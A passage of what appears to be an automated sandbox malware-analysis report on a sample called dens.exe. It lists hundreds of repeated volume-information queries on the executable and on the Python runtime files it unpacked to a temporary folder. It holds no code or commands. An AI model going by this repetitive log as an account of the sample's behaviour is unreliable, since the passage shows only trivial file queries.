Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\zipp-3.19.2.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\zipp-3.19.2.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\zipp-3.19.2.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\zipp-3.19.2.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\zipp-3.19.2.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\typeguard-4.3.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\typeguard-4.3.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\typeguard-4.3.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\typeguard-4.3.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\typeguard-4.3.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\wheel-0.43.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\yarl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\ucrtbase.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\select.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\_wmi.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\Desktop\dens.exe VolumeInformation	Jump to behavior
